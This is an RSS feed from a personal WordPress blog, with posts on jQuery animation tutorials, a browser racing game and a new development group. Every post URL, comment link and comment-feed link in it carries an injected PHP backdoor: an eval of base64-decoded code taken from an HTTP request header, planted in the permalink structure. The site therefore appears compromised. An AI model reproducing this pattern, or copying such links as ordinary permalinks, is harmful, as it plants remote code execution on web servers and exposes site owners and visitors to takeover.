<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>You know you want to...</title>
	<atom:link href="http://www.darrylsteyn.co.za/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.darrylsteyn.co.za</link>
	<description></description>
	<pubDate>Fri, 16 Jan 2009 11:21:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>The Raven Revival</title>
		<link>http://www.darrylsteyn.co.za/2009/01/16/the-raven-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2009/01/16/the-raven-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 11:21:52 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[Work]]></category>

		<category><![CDATA[blogs]]></category>

		<category><![CDATA[raven.za.net]]></category>

		<category><![CDATA[vertigo project]]></category>

		<guid isPermaLink="false">http://www.darrylsteyn.co.za/?p=36</guid>
		<description><![CDATA[Raven.za.net is a blog run by Vertigo Project and has been around for some time. We&#8217;ve done some work on it and have revived it updating it regularly with posts ranging from SEO and Wordpress tips to technology and gaming news.
Some of the popular posts include:

How to fix The Last Remnant
If you are one of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.raven.za.net">Raven.za.net</a> is a blog run by Vertigo Project and has been around for some time. We&#8217;ve done some work on it and have revived it updating it regularly with posts ranging from SEO and Wordpress tips to technology and gaming news.</p>
<p>Some of the popular posts include:</p>
<ul>
<li><a href="http://www.raven.za.net/gaming/how-to-fix-the-last-remnant">How to fix The Last Remnant</a><br />
<blockquote><p>If you are one of the many wondering if there is/will be a patch for The Last Remnant then unfortunately it would appear there wont be - however, the NXE (New Xbox Experience) has patched it for us. The major problem with The Last Remnant is essentially lag - texture pop-ins, slow framerates, issues in battles etc.</p></blockquote>
</li>
<li><a href="http://www.raven.za.net/jokes/fix-scratched-xbox-game-discs">Fix scratched XBox game discs</a><br />
<blockquote><p>If you’ve ever had a game collection you know about disc scratching - especially for any Xbox owners who’s Xbox’s enjoy to scratch the disks themselves… its also a problem with multi-dvd Xbox games in poor packaging. Essentially if you’ve played enough games you’ve had scratches - and you could use a quick fix - ENTER BRASSO!</p></blockquote>
</li>
<li><a href="http://www.raven.za.net/mobile/free-email-to-sms-addresses">Free email to SMS addresses</a><br />
<blockquote><p>Ever wanted to automate an application sms’ing you - or use your Outlook/Webmail to send an sms to something without a complicated SMS gateway? Wikihows How To Text Message Online included a great cheat-sheet of email addresses for various networks, which we’ve included below (naturally, replace “number” with the phone number</p></blockquote>
</li>
<li><a href="http://www.raven.za.net/wp-themes/contempt-wordpress-theme">Contempt Wordpress theme</a><br />
<blockquote><p>* Top bar showing random post and RSS feed details<br />
* Page Navigation bar<br />
* A different, appealing yet professional design<br />
* featured on WordPress.com!</p></blockquote>
</li>
</ul>
<p>Be sure to <a href="http://www.raven.za.net">drop by </a>and comment on some of the posts!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2009/01/16/the-raven-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8230;play RedLine</title>
		<link>http://www.darrylsteyn.co.za/2008/11/24/play-redline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2008/11/24/play-redline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 18:02:37 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[Work]]></category>

		<category><![CDATA[gameQuery]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[jQuery]]></category>

		<category><![CDATA[redLine]]></category>

		<category><![CDATA[vertigo project]]></category>

		<guid isPermaLink="false">http://www.darrylsteyn.co.za/?p=32</guid>
		<description><![CDATA[It&#8217;s been a while since I&#8217;ve made a post about something, and I hope to not dissapoint with this one.
Vertigo Project has just launched our first product - RedLine. It is a sideways scroller racing game with the objective being to get the most points before reaching level 10. It uses bits and pieces of [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a while since I&#8217;ve made a post about something, and I hope to not dissapoint with this one.</p>
<p>Vertigo Project has just launched our first product - <a href="http://www.vertigo-project.com/projects/redline-game">RedLine</a>. It is a sideways scroller racing game with the objective being to get the most points before reaching level 10. It uses bits and pieces of the examples I have previously posted but all together is much more impressive.</p>
<p>The 10 levels increase in difficulty as your play through them - with the number of oncoming cars increasing, the amount of time you have to stay alive increasing and the need for petrol increasing.</p>
<p>The game is completely based on jQuery and gameQuery which means it&#8217;s nothing more than crafty javascript and basic graphics. We have tried to make it as competitive as possible and have included a score board as well as proof of how awesome (or not) you were in your attempt to beat the game.</p>
<p>We have also tried to keep the javascript as easy to follow as possible incase anyone is interested in looking at how everything comes together. We figured we might as well do it seeing as you could get the source quite easily.</p>
<p>Above anything else, it was a challenge for Dave and myself to see what we could do with the jQuery javascript library and the gameQuery plugin. We have a few ideas for our next project which will also be a javascript game. But you will hear more about that closer to the time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2008/11/24/play-redline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>…use jQuery as an animation tool Part 2</title>
		<link>http://www.darrylsteyn.co.za/2008/10/28/jquery-as-an-animation-tool-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2008/10/28/jquery-as-an-animation-tool-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 20:49:19 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://www.darrylsteyn.co.za/?p=26</guid>
		<description><![CDATA[Now that you&#8217;ve been introduced to the tools and methods available to make quick and painless animations, let&#8217;s build on it and take it one step further.
There is a jQuery plugin called parallax which gives layered elements a movement effect similar to one you would have when you look out of your car window while [...]]]></description>
			<content:encoded><![CDATA[<p>Now that you&#8217;ve been <a href="http://www.darrylsteyn.co.za/2008/10/jquery-as-an-animation-tool/" target="_blank">introduced </a>to the tools and methods available to make quick and painless animations, let&#8217;s build on it and take it one step further.</p>
<p>There is a jQuery plugin called <a href="http://webdev.stephband.info/parallax.html">parallax</a> which gives layered elements a movement effect similar to one you would have when you look out of your car window while driving. The closer something is to you, the faster it moves. While I didn&#8217;t use parallax for this next demo, it is an awesome plugin and is what this is based on.</p>
<p><span id="more-26"></span></p>
<p>Again we have our style, html and javascript</p>
<div style="padding-left: 30px;">&lt;style&gt;<br />
div#environment{<br />
position:relative;<br />
overflow:hidden;<br />
width:400px;<br />
height:400px;<br />
border:2px solid black;<br />
}<br />
&lt;/style&gt;<br />
&lt;script&gt;<br />
$(document).keydown(function(event){<br />
if (event.keyCode == 39) {<br />
if($(&#8221;#racecar&#8221;).queue(&#8221;fx&#8221;).length&lt;1)<br />
$(&#8217;#racecar&#8217;).animate(<br />
{left:&#8221;380px&#8221;},<br />
{duration:2500})</p>
<p>if($(&#8221;#sun&#8221;).queue(&#8221;fx&#8221;).length&lt;1)<br />
$(&#8217;#sun&#8217;).animate(<br />
{left:&#8221;-800px&#8221;},<br />
{duration:6000})</p>
<p>if($(&#8221;#mountain&#8221;).queue(&#8221;fx&#8221;).length&lt;1)<br />
$(&#8217;#mountain&#8217;).animate(<br />
{left:&#8221;-800px&#8221;},<br />
{duration:5000})</p>
<p>if($(&#8221;#city&#8221;).queue(&#8221;fx&#8221;).length&lt;1)<br />
$(&#8217;#city&#8217;).animate(<br />
{left:&#8221;-800px&#8221;},<br />
{duration:3000})<br />
}<br />
});</p>
<p>$(document).keyup(function(event){<br />
if (event.keyCode == 39) {<br />
$(&#8217;#racecar&#8217;).stop();<br />
$(&#8217;#sun&#8217;).stop();<br />
$(&#8217;#mountain&#8217;).stop();<br />
$(&#8217;#city&#8217;).stop();<br />
}<br />
});</p>
<p>function reset(){<br />
$(&#8217;#racecar&#8217;).css(&#8217;left&#8217;,'0px&#8217;);<br />
$(&#8217;#sun&#8217;).css(&#8217;left&#8217;,'0px&#8217;);<br />
$(&#8217;#mountain&#8217;).css(&#8217;left&#8217;,'0px&#8217;);<br />
$(&#8217;#city&#8217;).css(&#8217;left&#8217;,'0px&#8217;);<br />
}</p>
<p>&lt;/script&gt;</p>
<p>&lt;div id=&#8221;environment&#8221; class=&#8221;clear&#8221;&gt;<br />
&lt;img src=&#8221;sunbg.png&#8221; alt=&#8221;" style=&#8221;position: absolute; left: 0px; top: 0px;&#8221; id=&#8221;sun&#8221;&gt;<br />
&lt;img src=&#8221;mountainbg.png&#8221; alt=&#8221;" style=&#8221;position: absolute; left: 0px; top: 0px;&#8221; id=&#8221;mountain&#8221;&gt;<br />
&lt;img src=&#8221;citybg.png&#8221; alt=&#8221;" style=&#8221;position: absolute; top: 40px; left: 0pt;&#8221; id=&#8221;city&#8221;&gt;<br />
&lt;img src=&#8221;street.png&#8221; alt=&#8221;" style=&#8221;position: absolute; top: 45px; left: 0pt;&#8221;&gt;<br />
&lt;img src=&#8221;car2.png&#8221; style=&#8221;top:380px; position:absolute;&#8221; id=&#8221;racecar&#8221;/&gt;<br />
&lt;/div&gt;</p></div>
<p>Here&#8217;s the <a href="http://www.darrylsteyn.co.za/demos/jquery_racecar_background.html" target="_blank">demo</a>.</p>
<p>What we have here are 5 different images all placed on top of each other to give a composite image of a city skyline. You&#8217;ve already seen how you can shift the position of an element with keyboard events and positioning, I&#8217;ve just changed the direction the car moves and the key to press - this time the right arrow.</p>
<p>By looking at the code you can see all the various elements are animated on the key press. If you look closer, their durations change. The closest element to you, the car, has a duration of 2500 while the furthest element, the sun, has a duration of 6000. This is because the closer the element is to you, the quicker it should move.</p>
<p>When you press the right arrow, the car will move as seen in the first examples. The background also moves as before, except now with the layering of images and different animation speeds we have the effect you are used to while driving.</p>
<p>This is yet another technique we are planning to use in <a href="http://www.vertigo-project.com/projects" target="_blank">redline</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2008/10/28/jquery-as-an-animation-tool-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8230; Vertigo Project</title>
		<link>http://www.darrylsteyn.co.za/2008/10/24/vertigo-project/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2008/10/24/vertigo-project/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 14:00:13 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[Work]]></category>

		<category><![CDATA[vertigo project]]></category>

		<guid isPermaLink="false">http://www.darrylsteyn.co.za/?p=24</guid>
		<description><![CDATA[Myself and Dave have opened the doors at Vertigo Project.

All projects that I will be a part of in the future will be branded under this new development group. You can expect some exciting things in the future and in the mean time you can see what we already do.
]]></description>
			<content:encoded><![CDATA[<p>Myself and Dave have opened the doors at <a title="Vertigo Project" href="http://www.vertigo-project.com/" target="_blank">Vertigo Project</a>.</p>
<p style="text-align: center;"><a href="http://www.vertigo-project.com/"><img class="aligncenter" title="Vertigo Project" src="http://www.vertigo-project.com/vertigo.png" alt="Vertigo Project Logo" width="217" height="33" /></a></p>
<p>All projects that I will be a part of in the future will be branded under this new development group. You can expect some exciting things in the future and in the mean time you can see what we <a title="Vertigo Project" href="http://www.vertigo-project.com/projects" target="_blank">already do</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2008/10/24/vertigo-project/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8230;use jQuery as an animation tool</title>
		<link>http://www.darrylsteyn.co.za/2008/10/23/jquery-as-an-animation-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2008/10/23/jquery-as-an-animation-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 23:25:17 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://www.darrylsteyn.co.za/?p=14</guid>
		<description><![CDATA[I came across an article on snook.ca showing how jQuery can be used to animate background images for flash like results. This is just the start of what I think is possible with one of the most (if not the most) powerful javascript library available.
Here&#8217;s a demo I&#8217;ve put together taking the animation aspect a [...]]]></description>
			<content:encoded><![CDATA[<p>I came across an article on <a href="http://www.snook.ca/archives/javascript/jquery-bg-image-animations/" target="_blank">snook.ca</a> showing how <a href="http://www.jquery.com" target="_blank">jQuery </a>can be used to animate background images for flash like results. This is just the start of what I think is possible with one of the most (if not the most) powerful javascript library available.</p>
<p>Here&#8217;s a demo I&#8217;ve put together taking the animation aspect a step further.</p>
<p>It&#8217;s a simple concept - a car driving along the road. I&#8217;ve done this two ways, with either the car or the road moving. The car and the road are seperate images that are manipulated to give the illusion of motion. This is simply done by changing their position on the page using the <a title="jQuery" href="http://docs.jquery.com/Effects/animate#paramsdurationeasingcallback" target="_blank">jQuery Animate effect</a>.</p>
<p><span id="more-14"></span></p>
<p>The page is built up of 3 main components; The style, the script and the HTML elements.</p>
<pre style="padding-left: 30px;">&lt;style&gt;
    body {
        top:10px;
    }
    div#racebody {
        width:400px;
        height:400px;
        border:1px solid #000;
        overflow:hidden;
    }

    .racetrack{
        position:relative;
        top:-1200px;
    }

    .racecar {
        position:absolute;
        left:225px;
        top:380px;
    }
&lt;/style&gt;

&lt;script&gt;
    function startcar(){
        $('#racetrack').css('top','-1200px');
        $('#racecar').css('top','380px');
        $('#racecar').animate(
            {top:"20px"},
            {duration:3000})
    }

    function startroad(){
        $('#racetrack').css('top','-1200px');
        $('#racecar').css('top','380px');
        $('#racetrack').animate(
            {top:"0px"},
            {duration:3000})
    }
&lt;/script&gt;

&lt;div id="racebody"&gt;
    &lt;img id="racetrack" src="road.jpg" class="racetrack"/&gt;
    &lt;img id="racecar" src="car.png" class="racecar"/&gt;
&lt;/div&gt;</pre>
<p>Now let&#8217;s take a look at what the script does seeing as it&#8217;s what actually gives the effect of motion. The concept is the same for both images, they are in a starting position and need to be moved to an end position. I assume that by reading this you have an understanding of jQuery and how it works and will skip explaining the basics.</p>
<p>The position of the elements are controlled by the &#8216;top&#8217; css property. We are going to animate the movement from the start to end position. The same end result can be achieved without the animate effect by doing the following:</p>
<pre style="padding-left: 30px;">$('#racecar').css('top','-1200px');
$('#racecar').css('top','0px');</pre>
<p>This moves the image, but without the illusion of motion. Here&#8217;s a <a href="/demos/jquery_racecar.html" target="_blank">demo</a>.</p>
<p>This is a very simple demo that can give a quick animation painlessly. You can however take it one step further and make it interactive.</p>
<p>Simply by adding event listeners you can make the up arrow on your keyboard control the animation.</p>
<pre style="padding-left: 30px;">$(document).keydown(function(event){
    if (event.keyCode == 38) {
        if($("#racecar").queue("fx").length&lt;1)
            $('#racecar').animate(
                {top:"20px"},
                {duration:3000})
        if($("#racetrack").queue("fx").length&lt;1)
            $('#racetrack').animate(
                {top:"0px"},
                {duration:3000})
    }
});

$(document).keyup(function(event){
    if (event.keyCode == 38) {
        $('#racecar').stop();
        $('#racetrack').stop();
    }
});</pre>
<p>What this does is on the up arrow keydown event, if there is no animation already started, we start moving the two images. The reason I&#8217;m checking the length of the animation queue is so multiple animations are not queued up. This gives a problem when we let go of the up arrow and the animation does not stop completely - just the currently active one does. Here&#8217;s a <a href="/demos/jquery_racecar2.html" target="_blank">demo</a>.</p>
<p>I hope to be using similar techniques in an upcoming project and will share more tips and tricks as it progresses.</p>
<p>[tested in Firefox 3.03, IE7 and IE6]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2008/10/23/jquery-as-an-animation-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8230;Get in on it</title>
		<link>http://www.darrylsteyn.co.za/2008/10/11/get-in-on-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.darrylsteyn.co.za/2008/10/11/get-in-on-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 12:29:40 +0000</pubDate>
		<dc:creator>docmoo</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://darrylsteyn.co.za//?p=1</guid>
		<description><![CDATA[I&#8217;ve decided to go ahead and join the masses by registering my name as a domain.
What exactly does this mean? Well, I used to have a blog which I kind of let die. It lost it&#8217;s appeal to me and I had no reason to really do anything on it. But when you register your [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve decided to go ahead and join the masses by registering my name as a domain.</p>
<p>What exactly does this mean? Well, I used to have a blog which I kind of let die. It lost it&#8217;s appeal to me and I had no reason to really do anything on it. But when you register your name as a domain, it&#8217;s almost and official gateway into your life. Anyone who knows your name now has another place (not FaceBook etc.) to find out what it is you do and who you are.</p>
<p>This will not be a diary of my everyday activities, I am not that vain in thinking you want to know.</p>
<p>Whatever I do post, and whatever happens; you know you want to&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.darrylsteyn.co.za/2008/10/11/get-in-on-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
